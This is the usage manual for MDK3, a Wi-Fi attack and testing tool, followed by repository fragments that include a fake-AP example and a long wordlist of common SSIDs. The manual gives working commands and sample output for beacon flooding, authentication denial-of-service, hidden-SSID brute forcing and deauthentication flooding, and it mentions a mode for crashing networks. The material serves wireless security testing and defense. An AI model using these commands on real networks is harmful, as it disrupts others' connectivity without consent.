MDK3 uses the drivers and Injection routines from this project and its predecessor. Thus, all drivers listed there should work with MDK3. (Some special hardware, like Intel Centrino (ipw2200) is NOT supported since they can only inject data, and no management information!)
MDK3 works on Linux and maybe FreeBSD currently, it may also run on Windows, but you need very special and expensive drivers and hardware there, so it is totally unsupported by MDK3 and aircrack-ng. MDK3 runs best with a pretty up-to-date kernel and drivers. Use the recommended drivers and patches (compat-wireless) mentioned in the aircrack-ng Wiki.


2. Getting MDK3 to run (Compiling MDK3)

Some Linux distributions already contain a precompiled mdk3 binary. Sometimes they are pretty old and buggy. You are advised to always use the most up-to-date version, since version changes usually have many new features and bugfixes.
To compile mdk3, go to the directory, where you extracted the tarballs contents and simply type make
To copy the compiled binary to your /usr/local/sbin directory (installing it), type make install afterwards.
mdk3 needs libpthread and libpcap. pcap is possibly not installed on your machine, use your package manager to install the development package for pcap (ie. zypper in libpcap-devel for SuSE or apt-get install libpcap-dev for Debian/Ubuntu)


3. How to use MDK3

Using MDK3 is quite simple, since it comes with lots of help screens directly included.
You can easily access them by typing only mdk3
MDK3 displays the main help screen. To see all possible options, type mdk3 --fullhelp
To see only information for a specific test, type mdk3 --help followed by the test mode identifier (b, a, p, d, m, x, w, f or g)

Before you can use MDK3, you need to setup your wireless adaptor. As far as there are different driver architectures, the way to setup your adaptor may vary depending on which driver is in use. To make this procedure easy, it is recommended to use airmon-ng from the aircrack project, since it can setup almost every known driver correctly.
Read the documentation for airmon-ng to learn how to set your WiFi card into the proper mode.

IMPORTANT: You need to set your device to the channel where the target AP/client is, otherwise it won't work! This is a very common error.

To find APs and clients, it is recommended to use airodump-ng. Simply start it with airodump-ng [your_interface] first, to see the available stations. If you have decided on one CHANNEL where to run the tests on, you should restart airodump and set it to STAY on this specific channel, so your card won't change channels anymore to find other stations. You can do this with airodump-ng -c [channel] [your_interface]
The good thing of using airodump-ng is, that you don't need to care about setting your card up correctly since airmon-ng and airodump-ng already did this job.

Your hardware is now correctly set up, and you can start using MDK3.

Another important notice for professional users: Some drivers do not correctly echo back injected frames to the system, thus your injected packets won't be seen if you sniff on the interface on which you are injecting. To check if the frames are sent correctly you need to setup another inteface on the same channel and sniff the injected frames with it! You can also use aireplay-ng's injection test to see if everything is alright.


4. The different test modes

b   - Beacon Flooding

AccessPoints send out approximately 10 beacon frames per second. They are to identify the network. When you scan for networks, your card does in fact look for beacon frames on every available channel. With MDK3, it is possible to send those beacon frames, too. Therefor you are able to create as many networks as you like, always keep in mind, that those networks are fake, and nobody can actually connect to them. People will see those networks when they scan with their WiFi device. Windows does scan automatically as long as it isn't connected and shows an info, if a network is found. Additionally, this mode can be used to hide a network by generating thousands of fake networks with the same name as the original one. This mode has several options to set network name, i encryption, speed etc. So read on to get familiar with them:

      -n <ssid>
         Use SSID <ssid> instead of randomly generated ones
         This lets you set the name of the network. Only networks with the given name will be faked. This is used if you want to hide a network.
      -f <filename>
         Read SSIDs from file
         This lets you read the names for the networks from a file. This way you can fake multiple networks at once.
      -v <filename>
         Read MACs and SSIDs from file. See example file!
         This is used to fake only a very specific set of networks. Every line in this file consists of the APs address and its name. See the example file fakeap-example.txt on how to use it.
      -t <adhoc>
         -t 1 = Create only Ad-Hoc network
         -t 0 = Create only Managed (AP) networks
         without this option, both types are generated
         Select to fake a real network, or an Ad-Hoc network with clients only. (networks without APs, where peers communicate directly) or both.
      -w <encryptions>
         Select which type of encryption the fake networks shall have
         Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2)
         You can select multiple types, i.e. "-w wta" will only create WEP and WPA networks
      -b <bitrate>
         Select if 11 Mbit (b) or 54 MBit (g) networks are created
         Without this option, both types will be used.
      -m
         Use valid accesspoint MAC from built-in OUI database
         Usually, MDK3 generates networks with a random address. But as far as not all addresses are used by actual hardware, it would be easy to detect most of mdk3's network as Fakes.
         This option refers to the address database included in MDK3 to generate only AcessPoints with addresses from known hardware vendors. With this option it is hard to say, if a network is fake or not.
      -h
         Hop to channel where network is spoofed
         This is more effective with some devices/drivers
         But it reduces packet rate due to channel hopping.
         This makes MDK3 to change your card's channel to the channel where the fake network should actually be. Good thing about this is, its harder to determine if this network is fake, since the channel given in the beacon data matches the channel the packet is send on. Bad thing is, your card needs some time to change to a specific channel. So this slows down the injection speed. You could avoid this by generating fake networks on one channel only (see -c option below), but in this case, the targets don't need to change their channels in order to find the correct AP, thus they may find the real AP faster.
      -c <chan>
         Create fake networks on channel <chan>. If you want your card to
         hop on this channel, you have to set -h option, too.
      -s <pps>
         Set speed in packets per second (Default: 50)
         More speed = More fake networks.


EXAMPLES:

There is your WPA2 AES network named "Hack me" on channel 11, supporting up to 54 MBit with lots of clients. You want to confuse attackers by generating some fake clone networks:

mdk3 [your_interface] b -n "Hack me" -b 54 -w a -m -c 11

The b activates beacon flood mode, -n sets the name, -b 54 makes it 54 MBit, -w a enables WPA2/AES only, -m makes MDK3 only use valid addresses so the attacker will have a hard time to filter and -c sets the correct channel.
Do not forget to set your card's channel before your start such it! You could also use -h option for this.


a   - Authentication Denial-Of-Service

When a station connects to an AccessPoint, it needs to fulfill several steps of Authentication. The two basic steps are Authentication and Association. The first step starts the whole process and asks the AP if another station may connect to it, and lets the AP decide if the new client is allowed. A MAC Filter would deny this request if an unknown station would try to connect. In the second step, the encryption is checked. Most APs use the Open mode, so the Association Phase is always accepted, and the real check if a clients key is valid is done later (i.e. in the EAP phase for WPA). The weak point of this is, that you can start multiple requests and forget about them, but the AP needs to keep those request in its memory in order to complete it. This Denial-of-Service-Mode starts as much requests as possible and keeps track of the answers, the AP sends. You can execute this test on multiple APs at once, or you can select the intelligent variant, where mdk3 does itself keep track about clients, and even re-injects valid Data packets it intercepts from the network, so an AP may not be able to distinguish real and fake clients, and may start dropping legitimate ones to free up space.

      -a <ap_mac>
         Only test the specified AP. Otherwise mdk3 will test all APs found on the current channel (you could use some other tool to hop channels to attack all APs in range.)
      -m
         Use valid client MAC from built-in OUI database, so the AP can't filter invalid addresses.
      -i <ap_mac>
         Perform intelligent test on AP.
         This test connects clients to the AP and reinjects sniffed data to keep them alive.
      -s <pps>
         Set speed in packets per second (Default: unlimited)


EXAMPLES:

You want to test if your own network is vulnerable to Denial-of-Service attacks. So first, you try a simple attack to see how your AP handles too many connected clients. Usually at a certain limit (128 or 256 clients), the AP denies additional clients. Cheap APs also tend to FREEZE and need to be resetted, so be careful with this! Let's assume your AP has 00:00:11:22:33:44 as hardware address, this is the first test:

mdk3 [your_interface] a -a 00:00:11:22:33:44 -m

a activates the Auth DoS mode. -a selects your target AP, -m makes mdk3 use only valid addresses to make filtering difficult. After a few seconds mdk3 may show one or mor of those messages:
  • AP 00:00:11:22:33:44 is responding: Your AP is responding to mdk3's fake clients. This just lets you know, that your test is working.
  • AP 00:00:11:22:33:44 has stopped responding and seems to be frozen after 157 clients: Your AP stopped responding to mdk3's requests. Check if your AP is still functional. If not, it is vulnerable to Auth DoS attacks, and needs to be reset if one occurs! You should request a fix from your vendor!
  • AP 00:00:11:22:33:44 is reporting ERRORs and denies connections after 251 clients: Your AP stopped accepting new clients, but did not crash, and correctly denies new ones. Your network is now FULL, but stiull functional. However you cannot connect to this AP anymore until the fake clients from mdk3 time out and the AP accept new ones again. There is nothing wrong with that, this DoS condition is compliant with the IEEE 802.11 standard!
Afterwards, you may want to try the intelligent test, that makes it hard for your AP to distinguish fake and real clients. This causes a constant Denial of Service for new clients, as long as the attack is running. And as soon as a legitimate clients disconnects, he cannot re-join the network.

mdk3 [your_interface] a -i 00:00:11:22:33:44

mdk3 will print statistics each second:
Clients: Created:   67   Authenticated:    0   Associated:    0   Denied: 5461   Got Kicked:    0
Data   : Captured:    0   Sent:    0   Responses:    0   Relayed:    0
  • Created: Number of fake clients mdk3 currently handles and tries to connect and keep connected to the network
  • Authenticated: Number of successful Authentication cycles
  • Associated: Number of successful Association cycles
  • Denied: Number of failed cycles (because AP is full)
  • Got kicked: Number of fake clients that once were connected but the AP sent Deauthentication packets to
  • Captured: Number of VALID Data packets that have been captured
  • Sent: Number of Data packets that have been sent to the network with a fake clients identity
  • Responses: Number of responses the fake clients got after sending data
  • Relayed: Number of Data packets the AP accepted from the fake clients (AP forwards incoming packets so we know when it accepted one, if we intercept the forwarded one!)
In this example, the intelligent attack has been started about 10 minutes after the standard one. As you can see, the AP is STILL denying any new client! So be careful when you test a network that cannot afford some downtime!



p   - Probing

The IEEE standard defines Probe packets. Those packets allow a station to send a request for a certain network into the air, with all matching APs responding to it. With those packets you can check, if an AP is in your range (ie. if you can reach it and it reaches you). Most APs have a feature called "hidden SSID". With a hidden SSID, a network cannot be "found" with Windows, and will be displayed on other Systems as "Hidden". The beacon frames emitted by those APs do NOT contain the networks name. Instead they either contain ZEROS for each character in the SSID, or only a single Zero. In order to connect to such a hidden network, an attacker must find out the networks real name. As far as the network's name is being transmitted in plaintext upon Association to the AP, an attacker could simply wait until some client connects to the AP or disconnect an already connected one with aireplay-ng or any other Deauthentication tool (mdk3 can do it too, Mode d), and wait for it to reconnect (which it usually does instantly). However, if there is NO CLIENT connected, the SSID stays hidden. With mdk3 however, you are able to try SSIDs from a Wordlist or via Bruteforce. It sends Probe Frames and waits for responses. If you hit the right SSID, the AP will respond to you, and it's name isn't hidden anymore. If you are lucky, the AP keeps the original length of the real SSID in its beacon frames. mdk3 will detect that and will only try SSIDs that match.

      -e <ssid>
         SSID to probe for - If you know the target SSID already and/or just want to check if an AP is in your range.
      -f <filename>
         Read SSIDs from file for bruteforcing hidden SSIDs
      -t <bssid>
         Set MAC address of target AP
         With a target set, mdk3 will only print responses from this network, and stops when the Wordlist ends.
      -s <pps>
         Set speed (Default: 400)
      -b <character sets>
         Use full Bruteforce mode (recommended for short SSIDs only!)
         You can select multiple character sets at once:
         * n (Numbers:   0-9)
         * u (Uppercase: A-Z)
         * l (Lowercase: a-z)
         * s (Symbols: ASCII)
      -p <word>
         Continue bruteforcing, starting at <word>.


EXAMPLES:

Let's assume you got a pretty important network, that is well secured. Lets say this network is only used a few hours each month, so an attacker may not be lucky to catch a client authenticating to it. You decide to add some extra security to that network by disabling the SSID broadcasting. That way an attacker may not be able to connect to it, since he doesn't know its SSID, and thus may not be able to run Authentication Denial-of-Service attacks. You select a pretty short SSID, but you add a special character to it, hoping that it cannot be guessed: aa1*
Let's test if this SSID can be decloaked by a Wordlist attack:

mdk3 [your_interface] p -f useful_files/common-ssids.txt -t 00:00:11:22:33:44
Waiting for a beacon frame from target to get its SSID length.
SSID length is 4
Trying SSID: 3Com                                          
Trying SSID: AZRF                                          
Trying SSID: WiFi                                          
Trying SSID: mine                                          
Packets sent:     44 - Speed:   20 packets/sec
Wordlist completed.

Sadly, your AP does only overwrite the SSID itself with ZEROS, not its length tag, so mdk3 knows, your SSID is only 4 characters long. Therefor, it tries only those words in the specified file, that a 4 characters long. Luckily, aa1* is not being found in the list, and mdk3 cannot find the hidden SSID. The attacker may now try to use Bruteforcing, since the SSID is very short. Let's say he already tried several character sets, and wants to finally try all possible characters:

mdk3 [your_interface] p -t 00:00:11:22:33:44 -b lnus
Waiting for a beacon frame from target to get its SSID length.
SSID length is 4
Trying SSID: aaaa                                          
Trying SSID: aac&                                          
Trying SSID: aag-                                          
Trying SSID: aak<                                          
Trying SSID: aao@                                          
Trying SSID: aas^                                          
Trying SSID: aaw{                                          
Trying SSID: aa0{                                          
Probe Response from target AP with SSID aa1*               
Job's done, have a nice day :)


This time, mdk3 is successful.-b lnus means, start with lowercase, then numbers, then Uppercase and finally symbols. After about 2500 tries, the SSID has been found, and therefor does not add much extra security to your network. Consider using a longer one!



d   - Deauthentication ans Disassociation

If a station wants to leave a network, it sends a Deauthentication packet to the AP to deregister itself from it. Additionally, the AP is allowed to disconnect stations when it thinks it is necessary (for example, the AP is full, and the oldest stations gets kicked from it to allow new clients to connect). As far as those packets are not encrypted our signed (if you are not using the new amendment IEEE_802.11w), an attacker can easily forge them to disconnect legitimate clients from your AP. mdk3 is capable of creating different types of those packets, with different options:
  • Deauthentication from AP to client: mdk3 injects a deauthentication packet with the MAC Adress of the AP to the Station, telling the station is has been disconnected for unspecified reasons.
  • Deauthentication from client to AP: mdk3 injects a deauthentication packet from the Station to the AP, telling the AP, the station is leaving the network.
  • Disassociation from AP to client: mdk3 tells the client, it has been kicked because the AP is full.
  • Disassociation from client to AP: mdk3 tells the AP, the client is leaving the network.
mdk3 listens on the current channel for Data packets, extracts the addresses of AP and Station from them, and sends one packet of each type. Every second, a status message is displayed, if something has happened.

      -w <filename>
         Read file containing MACs not to care about (Whitelist mode)
         Put the MAC addresses of stations and APs, who shall NOT be attacked in this file, mdk3 will skip them
      -b <filename>
         Read file containing MACs to run test on (Blacklist Mode)
         Put MAC addresses of stations and APs in this file, who SHALL BE attacked.
      -s <pps>
         Set speed in packets per second (Default: unlimited)
      -c [chan,chan,chan,...]
         Enable channel hopping. Without providing any channels, mdk3 will hop an all
         14 b/g channels. Channel will be changed every 3 seconds.

EXAMPLE:

mdk3 [your_interface] d -c 1,6,11

Disconnecting 00:04:0E:91:5C:56 from 00:1D:E5:7A:18:B9 on channel 1
Disconnecting 00:04:0E:91:5C:56 from 00:1D:E5:7A:18:B9 on channel 1
Disconnecting 00:04:0E:91:5C:56 from 00:1D:E5:7A:18:B9 on channel 1
Disconnecting 00:04:0E:91:5A:77 from 00:1D:E5:7A:15:CE on channel 6
Disconnecting 00:04:0E:91:5A:77 from 00:1D:E5:7A:15:CE on channel 6
Disconnecting 00:23:08:DD:4A:FE from 00:1D:E5:7A:43:00 on channel 11
Disconnecting 00:04:0E:91:5C:56 from 00:1D:E5:7A:18:B9 on channel 1
Packets sent:    117 - Speed:   16 packets/sec

mdk3 hops on channel 1, 6 and 11, and disconnects every station found there. Most stations try to reconnect, however, almost no communication is possible anymore, because they mostly get disconnected again, as soon as they re-request their IP-Adresses with DHCP and ARP, which triggers another Deauthentication cycle in mdk3. Use 802.11w if available or some IDS to at least detect such attacks on your network.


m   - Michael shutdown exploitation (TKIP)
      Cancels all traffic continuously

EXAMPLES:

x   - 802.1X tests

EXAMPLES:


And for those who read this document until the end, here is the special Multi Destruction Mode to really shutdown and destroy a network.
WARNING: This could REALLY shutdown every communication, even until the hardware is manually resetted. This can crash drivers, computers and APs alike! So consider yourself warned! Run these commands only, if there is no important data transmitted and you can afford some downtime!



(c) Pedro Larbig 2007
mdk4-master/.gitignore0000755000175000017500000000065613525065636015777 0ustar samuelophsamueloph# Prerequisites *.d # Object files *.o *.ko *.obj *.elf # Linker output *.ilk *.map *.exp # Precompiled Headers *.gch *.pch # Libraries *.lib *.a *.la *.lo # Shared objects (inc. Windows DLLs) *.dll *.so *.so.* *.dylib # Executables *.exe *.out *.app *.i*86 *.x86_64 *.hex # Debug files *.dSYM/ *.su *.idb *.pdb # Kernel Module Compile Results *.mod* *.cmd .tmp_versions/ modules.order Module.symvers Mkfile.old dkms.conf mdk4-master/useful_files/0000755000175000017500000000000013525065636016462 5ustar samuelophsamuelophmdk4-master/useful_files/fakeap-example.txt0000644000175000017500000000044713525065636022110 0ustar samuelophsamueloph00:00:11:11:22:22 This_is_a_fake_AP 00:11:22:33:44:55 Whitespaces are allowed 00:33:22:44:55:11 Overlenght SSIDs are also supported by FakeAP mode. Up to 256 characters are possible. 019283746510 You can even use short MACs abcdefABCDEF And capital letters of course ff:ff:ff:ff:ff:ff Let's go! mdk4-master/useful_files/common-ssids.txt0000644000175000017500000002556413525065636021652 0ustar samuelophsamueloph0 Unknown 04PPk99 0CP2REDS0X 1 101 102 111 11g AP 122 123 130 140 188 188ALT 1cst0ck8 2 2WIRE003 2WIRE005 2WIRE006 2WIRE007 2WIRE008 2WIRE009 2WIRE010 2WIRE011 2WIRE015 2WIRE018 2WIRE020 2WIRE025 2WIRE028 2WIRE029 2WIRE030 2WIRE031 2WIRE032 2WIRE034 2WIRE035 2WIRE036 2WIRE037 2WIRE038 2WIRE040 2WIRE041 2WIRE042 2WIRE043 2WIRE044 2WIRE045 2WIRE047 2WIRE048 2WIRE049 2WIRE050 2WIRE051 2WIRE052 2WIRE053 2WIRE054 2WIRE055 2WIRE057 2WIRE059 2WIRE060 2WIRE061 2WIRE063 2WIRE064 2WIRE065 2WIRE066 2WIRE067 2WIRE068 2WIRE069 2WIRE070 2WIRE072 2WIRE074 2WIRE075 2WIRE076 2WIRE077 2WIRE078 2WIRE079 2WIRE080 2WIRE082 2WIRE083 2WIRE085 2WIRE087 2WIRE088 2WIRE089 2WIRE091 2WIRE092 2WIRE093 2WIRE094 2WIRE095 2WIRE096 2WIRE098 2WIRE099 2WIRE100 2WIRE103 2WIRE104 2WIRE106 2WIRE108 2WIRE109 2WIRE110 2WIRE111 2WIRE113 2WIRE114 2WIRE115 2WIRE116 2WIRE117 2WIRE118 2WIRE121 2WIRE125 2WIRE126 2WIRE130 2WIRE132 2WIRE133 2WIRE134 2WIRE135 2WIRE138 2WIRE139 2WIRE140 2WIRE141 2WIRE142 2WIRE144 2WIRE145 2WIRE146 2WIRE147 2WIRE148 2WIRE150 2WIRE151 2WIRE153 2WIRE154 2WIRE155 2WIRE157 2WIRE158 2WIRE159 2WIRE160 2WIRE161 2WIRE166 2WIRE168 2WIRE169 2WIRE170 2WIRE171 2WIRE172 2WIRE173 2WIRE175 2WIRE176 2WIRE177 2WIRE178 2WIRE179 2WIRE181 2WIRE182 2WIRE184 2WIRE185 2WIRE186 2WIRE187 2WIRE188 2WIRE189 2WIRE191 2WIRE192 2WIRE193 2WIRE196 2WIRE197 2WIRE199 2WIRE200 2WIRE202 2WIRE203 2WIRE204 2WIRE205 2WIRE206 2WIRE208 2WIRE209 2WIRE210 2WIRE211 2WIRE212 2WIRE213 2WIRE215 2WIRE217 2WIRE218 2WIRE220 2WIRE222 2WIRE224 2WIRE225 2WIRE226 2WIRE227 2WIRE228 2WIRE229 2WIRE230 2WIRE231 2WIRE232 2WIRE233 2WIRE234 2WIRE235 2WIRE237 2WIRE238 2WIRE239 2WIRE240 2WIRE241 2WIRE242 2WIRE244 2WIRE246 2WIRE247 2WIRE249 2WIRE250 2WIRE252 2WIRE253 2WIRE254 2WIRE255 2WIRE256 2WIRE258 2WIRE259 2WIRE260 2WIRE261 2WIRE262 2WIRE263 2WIRE264 2WIRE265 2WIRE266 2WIRE268 2WIRE269 2WIRE270 2WIRE271 2WIRE272 2WIRE273 2WIRE274 2WIRE275 2WIRE277 2WIRE279 2WIRE280 2WIRE281 2WIRE282 2WIRE283 2WIRE284 2WIRE285 2WIRE286 2WIRE290 2WIRE291 2WIRE292 2WIRE293 2WIRE294 2WIRE295 2WIRE297 2WIRE298 2WIRE299 2WIRE300 2WIRE301 2WIRE303 2WIRE305 2WIRE307 2WIRE308 2WIRE309 2WIRE311 2WIRE312 2WIRE313 2WIRE314 2WIRE315 2WIRE316 2WIRE317 2WIRE318 2WIRE319 2WIRE321 2WIRE322 2WIRE323 2WIRE324 2WIRE325 2WIRE326 2WIRE327 2WIRE328 2WIRE329 2WIRE330 2WIRE331 2WIRE333 2WIRE334 2WIRE335 2WIRE336 2WIRE337 2WIRE339 2WIRE340 2WIRE341 2WIRE343 2WIRE344 2WIRE345 2WIRE346 2WIRE347 2WIRE348 2WIRE351 2WIRE352 2WIRE353 2WIRE354 2WIRE355 2WIRE356 2WIRE358 2WIRE359 2WIRE360 2WIRE361 2WIRE362 2WIRE363 2WIRE364 2WIRE365 2WIRE366 2WIRE367 2WIRE368 2WIRE369 2WIRE370 2WIRE371 2WIRE372 2WIRE373 2WIRE374 2WIRE375 2WIRE376 2WIRE377 2WIRE378 2WIRE379 2WIRE381 2WIRE382 2WIRE383 2WIRE385 2WIRE386 2WIRE389 2WIRE390 2WIRE391 2WIRE392 2WIRE393 2WIRE394 2WIRE398 2WIRE400 2WIRE401 2WIRE404 2WIRE405 2WIRE408 2WIRE410 2WIRE411 2WIRE413 2WIRE414 2WIRE415 2WIRE417 2WIRE418 2WIRE419 2WIRE422 2WIRE424 2WIRE425 2WIRE426 2WIRE427 2WIRE428 2WIRE430 2WIRE431 2WIRE432 2WIRE433 2WIRE434 2WIRE435 2WIRE436 2WIRE437 2WIRE438 2WIRE439 2WIRE441 2WIRE442 2WIRE443 2WIRE444 2WIRE447 2WIRE448 2WIRE449 2WIRE450 2WIRE451 2WIRE452 2WIRE453 2WIRE454 2WIRE455 2WIRE456 2WIRE458 2WIRE459 2WIRE460 2WIRE463 2WIRE466 2WIRE467 2WIRE469 2WIRE470 2WIRE471 2WIRE472 2WIRE474 2WIRE475 2WIRE476 2WIRE478 2WIRE479 2WIRE481 2WIRE482 2WIRE484 2WIRE485 2WIRE486 2WIRE488 2WIRE490 2WIRE493 2WIRE495 2WIRE496 2WIRE497 2WIRE498 2WIRE499 2WIRE500 2WIRE501 2WIRE502 2WIRE505 2WIRE506 2WIRE507 2WIRE508 2WIRE509 2WIRE510 2WIRE511 2WIRE513 2WIRE514 2WIRE515 2WIRE516 2WIRE517 2WIRE518 2WIRE519 2WIRE520 2WIRE521 2WIRE524 2WIRE525 2WIRE526 2WIRE528 2WIRE529 2WIRE530 2WIRE531 2WIRE532 2WIRE533 2WIRE535 2WIRE537 2WIRE538 2WIRE539 2WIRE541 2WIRE542 2WIRE544 2WIRE545 2WIRE546 2WIRE548 2WIRE550 2WIRE551 2WIRE552 2WIRE553 2WIRE554 2WIRE555 2WIRE556 2WIRE557 2WIRE558 2WIRE559 2WIRE560 2WIRE561 2WIRE563 2WIRE564 2WIRE565 2WIRE566 2WIRE567 2WIRE569 2WIRE571 2WIRE572 2WIRE574 2WIRE576 2WIRE577 2WIRE578 2WIRE579 2WIRE580 2WIRE581 2WIRE582 2WIRE583 2WIRE584 2WIRE586 2WIRE587 2WIRE588 2WIRE589 2WIRE590 2WIRE591 2WIRE592 2WIRE593 2WIRE595 2WIRE596 2WIRE597 2WIRE598 2WIRE599 2WIRE600 2WIRE603 2WIRE605 2WIRE606 2WIRE608 2WIRE610 2WIRE611 2WIRE612 2WIRE614 2WIRE615 2WIRE616 2WIRE617 2WIRE618 2WIRE620 2WIRE621 2WIRE622 2WIRE623 2WIRE624 2WIRE627 2WIRE631 2WIRE632 2WIRE635 2WIRE639 2WIRE640 2WIRE641 2WIRE642 2WIRE645 2WIRE646 2WIRE647 2WIRE648 2WIRE650 2WIRE651 2WIRE652 2WIRE653 2WIRE654 2WIRE655 2WIRE656 2WIRE657 2WIRE658 2WIRE659 2WIRE661 2WIRE663 2WIRE665 2WIRE667 2WIRE668 2WIRE669 2WIRE670 2WIRE672 2WIRE673 2WIRE674 2WIRE675 2WIRE677 2WIRE678 2WIRE679 2WIRE680 2WIRE681 2WIRE682 2WIRE683 2WIRE684 2WIRE686 2WIRE687 2WIRE688 2WIRE689 2WIRE690 2WIRE691 2WIRE692 2WIRE693 2WIRE694 2WIRE696 2WIRE697 2WIRE698 2WIRE699 2WIRE700 2WIRE701 2WIRE704 2WIRE706 2WIRE707 2WIRE708 2WIRE709 2WIRE710 2WIRE711 2WIRE712 2WIRE714 2WIRE715 2WIRE717 2WIRE718 2WIRE720 2WIRE723 2WIRE724 2WIRE726 2WIRE730 2WIRE732 2WIRE734 2WIRE735 2WIRE736 2WIRE737 2WIRE738 2WIRE739 2WIRE741 2WIRE743 2WIRE744 2WIRE747 2WIRE749 2WIRE750 2WIRE751 2WIRE752 2WIRE753 2WIRE754 2WIRE755 2WIRE756 2WIRE757 2WIRE760 2WIRE761 2WIRE762 2WIRE763 2WIRE766 2WIRE767 2WIRE768 2WIRE769 2WIRE770 2WIRE771 2WIRE773 2WIRE774 2WIRE776 2WIRE778 2WIRE779 2WIRE782 2WIRE784 2WIRE785 2WIRE787 2WIRE788 2WIRE789 2WIRE790 2WIRE792 2WIRE793 2WIRE795 2WIRE798 2WIRE800 2WIRE801 2WIRE803 2WIRE806 2WIRE807 2WIRE808 2WIRE810 2WIRE812 2WIRE814 2WIRE817 2WIRE818 2WIRE820 2WIRE822 2WIRE825 2WIRE826 2WIRE827 2WIRE828 2WIRE829 2WIRE831 2WIRE832 2WIRE833 2WIRE834 2WIRE835 2WIRE836 2WIRE837 2WIRE839 2WIRE840 2WIRE841 2WIRE842 2WIRE844 2WIRE846 2WIRE847 2WIRE849 2WIRE850 2WIRE852 2WIRE854 2WIRE855 2WIRE856 2WIRE857 2WIRE859 2WIRE860 2WIRE861 2WIRE864 2WIRE866 2WIRE867 2WIRE872 2WIRE873 2WIRE874 2WIRE875 2WIRE876 2WIRE878 2WIRE879 2WIRE880 2WIRE882 2WIRE884 2WIRE885 2WIRE886 2WIRE889 2WIRE891 2WIRE892 2WIRE894 2WIRE895 2WIRE896 2WIRE898 2WIRE899 2WIRE902 2WIRE905 2WIRE906 2WIRE907 2WIRE908 2WIRE910 2WIRE911 2WIRE912 2WIRE913 2WIRE914 2WIRE918 2WIRE919 2WIRE921 2WIRE923 2WIRE925 2WIRE926 2WIRE927 2WIRE929 2WIRE930 2WIRE931 2WIRE935 2WIRE936 2WIRE937 2WIRE938 2WIRE939 2WIRE940 2WIRE941 2WIRE943 2WIRE944 2WIRE945 2WIRE946 2WIRE948 2WIRE950 2WIRE951 2WIRE952 2WIRE955 2WIRE957 2WIRE960 2WIRE961 2WIRE962 2WIRE963 2WIRE964 2WIRE965 2WIRE966 2WIRE967 2WIRE973 2WIRE975 2WIRE976 2WIRE978 2WIRE979 2WIRE984 2WIRE985 2WIRE986 2WIRE990 2WIRE991 2WIRE992 2WIRE993 2WIRE994 2WIRE995 2WIRE997 2WIRE998 2eja5qmd6cna 2wire021 2wire046 2wire122 2wire129 2wire304 2wire384 2wire420 2wire429 2wire468 2wire527 2wire619 2wire633 2wire662 2wire722 2wire746 2wire783 2wire794 2wire824 2wire868 2wire928 3Com 3blindmice 5ECUR3w3p5TOR3 72653 72654 7590000001 @home ACTIONTEC ADSL-WiFi AISD-GUEST ALICE-WLAN AMAT_Prod AMX ANY AP7XR AP_Router ASAP AT&T AT&T Wireless AZRF Access Agere Systems Air2Data AirWave Airport Alex Andrew Apartment Apple Apple Network ArcorWirelessLAN B2B BNDEMO BSU BTOpenzone BWA711 Barney Baymont Belkin Belkin54g BestWestern Blitzz Blue Brian CEDSAP CISCO CMU COMPAQ CONNECT2AIR CPSWIRELESS CapCBR CaseGuest Chris Comcast ConnectionPoint Cottonwood Cox-Hospitality Customer ID D-LINK DAN DLINK DSLWLANModem200 DV201AM Dave DaysInn Draadloos EASE ELSA ESSID51 Ethostream FDSSEC FG04Apr06MBS FRANK FRITZ!Box Fon WLAN FRITZ!Box Fon WLAN 7050 FRITZ!Box Fon WLAN 7141 FRITZ!Box Fon WLAN 7170 FRITZ!Box SL WLAN FRITZ!Box WLAN 3030 FRITZ!Box WLAN 3050 Family FatPort (Non-UBC user) FeatherByEarthLink Free Internet Access Free Public WiFi G604T_WIRELESS GDS VCI 01 GPCSTORE GTW Galaxy Gary Gateway GeekSquad GeorgeAP22 GlobalSuiteWireless GlobalSync GoAway GoldenTree Green Guest Guestnet HBS HOMENETWORK HOMEWLAN HOTEL Harvard University Heb1905 Holiday Inn Home AirPort Home Network Home Office HomeNet HomeOffice HomeRun HomeWireless Homestead HotSpot HotelAir HotelNet House I2E_TELBUS_GROS IBM IEEE 802.11 LAN IEEE 802.11b LAN INTERMEC ITS Wireless IU Wireless Instant Internet Intel Gateway Internet Internet Oasis (FREE) JACK JONES James Jason Jim KC_LV_2003 KPN Kelly Kevin Kimpton KiteNet LISA LODGE Lee Library LiteShow LockOn Lucent Outdoor Router MCWN80 MIT MSFTWLAN MSHOME MSUNet Wireless MU-WIRELESS-LITE Main Maison Marconi Matt MetroFi-Free Michael Michelle Miller Motorola My Network My Wireless Network A My Wireless Network B N9UF_TEL9COM NESPOT NETGEAR NETGEAR_11g NETWORK NOMAD Netgear1 No current ssid NoWireUC OMNI Office On-Net PANERA PASSYM PATRICK PCX5000 PWLAN1 Pal Paul Philips WiFi Print Server Private PwC80211 RCA RGXLPQSNGBNYVRAK RTC RYAN Richard RoamAbout Default Network Name Robert SILENTWITNESS SITECOM SMARTSIGHT SST-PR-1 STOPS STSN STSN_Conf Sam Scott SiriCOMM SkyHighSpeed Skynet Smith Spark SpeedLinks SpeedStream Speedport W 501V Stanford Super8 SurfandSip T-Mobile_T-Com TA TEKLOGIX TELENETHOTSPOT TELUS TI TI-AR7WRD Telenor Mobil WLAN Telstra Thomson Thuis Topcom Truckstop.neT UBC UCSD UCo UDwireless UIUCnet UPSTAIRS USR5450 USR5461 USR5462 USR8022 USR8054 USR9106 University of Washington Untitled UofM Wireless V1500 Vanilla Verizon Wi-Fi Voice WAG0Nwhee1 WANO WAZASU WAZTempe WLAN WLAN-AP WLAN-PS WLCM WNR2004 WORK WRC_Network WSR-5000 WaveLAN Network Wayport_Access Webstar WiFi Williams Wingate Wireless Wireless Network Wireless1 WirelessNet X-Micro Zoom ZyXEL ^Y acer admin airimba airnet airpath airport network airportthru alpha anderson andy any ssid ap ap1 arescom arwain.net asu attwifi ba2 belgacom benq bestbuy bill bob bridge brown buffalo c42dmga5bcys casa cavalier cci charlie comfort comfortinn comtrend concourse conexant cool cloud cuairnet cvsretail d d0llartree1nc daniel datavalet david davis dd-wrt default default-ssid defcon dgs769157 digitalpath.net dlink_wireless dnawlan e478 ea54 eduroam eric etwireless eurospot fa1779zvpo fanTM fatport flyingj frank fred freedom freedomlink freephonie g3n3r1cw8p george getwifi gigabyte goesh greg guestwifi hawking hhonors hidden ssid hilton holiday holidayinn home home wireless home1 home\wireless homebase homelan homer hp hpsetup hsia hwtvm hyatt ibahn intelwlan jackson jah719 jeff jennifer joe john johnson kaisicher kim laptop laquinta larry linda link linksys linksys-g linksys1 linksys123 linksys2 linksysxx maison mark 